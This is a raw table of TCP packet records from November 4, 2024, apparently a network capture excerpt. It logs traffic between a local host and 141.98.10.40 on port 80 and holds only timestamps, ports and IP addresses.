Nov 4, 2024 07:13:37.128215075 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.128238916 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.128266096 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.128557920 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.128602028 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.258690119 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.258702040 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.258738041 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.258745909 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.258776903 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.258781910 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.258794069 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.258831024 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.258857012 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.258872986 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.258908987 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.259699106 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.259710073 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.259718895 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.259753942 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.259768009 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.260066986 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.260078907 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.260090113 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.260119915 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.260130882 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.260499954 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.260509014 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.260576010 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.260607958 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.377482891 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.377504110 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.377536058 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.377547026 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.377577066 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.377593040 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.377605915 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.377614975 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.377616882 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.377629995 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.377635956 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.377654076 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.377984047 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.377993107 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.378035069 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.378125906 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.378138065 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.378148079 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.378168106 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.378180981 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.378501892 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.378513098 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.378523111 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.378555059 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.378583908 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.395809889 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.395915031 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.395940065 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.395957947 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.690093994 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690119028 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690129042 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690155983 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.690176010 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.690253973 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690264940 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690275908 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690285921 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690301895 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690304041 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.690310955 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690321922 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690330982 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.690332890 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690350056 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690367937 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.690375090 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690395117 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.690407038 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.690411091 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690449953 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.690459013 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690507889 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.690517902 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690527916 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690537930 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690548897 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690560102 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690561056 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.690570116 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690583944 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.690597057 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690599918 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.690609932 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690629005 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690639019 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690644979 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.690649986 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690660000 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690670967 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690675974 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.690680981 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690701008 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690701008 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.690718889 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690721035 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.690727949 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.690746069 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.690771103 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.733907938 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.733921051 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.733932018 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.733966112 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.733973980 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.733994961 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.734035969 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.734144926 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.734189034 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.734198093 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.734227896 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.734327078 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.734338045 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.734348059 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.734359980 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.734375954 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.734406948 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.734854937 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.734869957 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.734879971 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.734905005 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.734919071 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.735174894 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.735184908 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.735215902 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.738527060 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.738535881 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.738570929 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.795090914 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.795135021 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.795154095 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.795182943 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.852598906 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.852619886 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.852631092 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.852642059 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.852653027 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.852668047 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.852703094 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.852961063 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.852972031 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.852982044 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.853013039 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.853023052 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.853271008 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.853296041 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.853305101 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.853317022 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.853324890 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.853338957 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.853652954 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.853663921 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.853672981 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.853683949 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.853699923 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.853727102 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.857064009 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.857081890 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.857130051 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.913783073 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.913794994 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.913836956 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.971159935 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.971179962 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.971190929 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.971215010 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.971230030 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.971307039 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.971344948 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.971364975 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.971497059 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.971508980 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.971518993 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.971534014 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.971558094 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.971806049 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.971816063 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.971827030 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.971849918 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.971859932 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.972189903 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.972201109 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.972210884 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.972223043 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.972234011 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.972237110 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.972255945 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.972276926 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.975518942 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.975557089 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.975565910 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.975593090 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.032828093 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.032849073 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.032882929 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.032895088 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.089811087 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.089828014 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.089838982 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.089850903 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.089863062 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.089898109 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.089929104 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.090086937 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.090107918 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.090143919 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.090276003 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.090287924 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.090297937 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.090312958 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.090339899 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.090507984 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.090517044 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.090550900 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.090725899 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.090742111 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.090751886 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.090761900 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.090766907 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.090774059 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.090790033 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.090817928 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.135394096 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.135431051 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.135488033 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.208703995 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.208725929 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.208736897 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.208753109 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.208766937 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.208779097 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.208784103 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.208791971 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.208801985 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.208831072 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.208848953 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.209142923 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.209152937 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.209163904 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.209173918 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.209184885 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.209196091 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.209223986 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.209661007 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.209671974 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.209681988 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.209707022 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.209717035 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.253768921 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.253822088 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.253834963 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.253881931 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.253881931 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.253892899 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.253923893 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.253935099 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.327203989 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.327255964 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.327306032 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.327320099 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.327332973 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.327342987 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.327353954 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.327368975 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.327383041 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.327754974 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.327765942 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.327778101 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.327790022 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.327795029 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.327820063 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.328208923 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.328219891 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.328231096 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.328242064 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.328253031 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.328253984 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.328265905 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.328294992 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.328731060 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.328739882 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.328773022 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.372359991 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.372371912 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.372412920 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.372442961 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.372457981 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.372471094 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.372482061 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.372498989 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.372519970 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.445864916 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.445887089 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.445897102 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.445930004 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.445959091 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.446012020 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.446028948 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.446042061 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.446050882 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.446079969 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.446327925 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.446337938 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.446350098 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.446361065 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.446373940 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.446393967 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.446713924 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.446753025 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.446755886 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.446882963 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.446897984 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.446909904 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.446919918 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.446921110 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.446932077 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.446939945 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.446957111 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.446980953 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.491075993 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.491091967 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.491102934 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.491154909 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.491178989 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.491182089 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.491194010 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.491204023 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.491229057 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.491250038 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.564429045 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.564455986 CET	80	49787	141.98.10.40	192.168.2.5
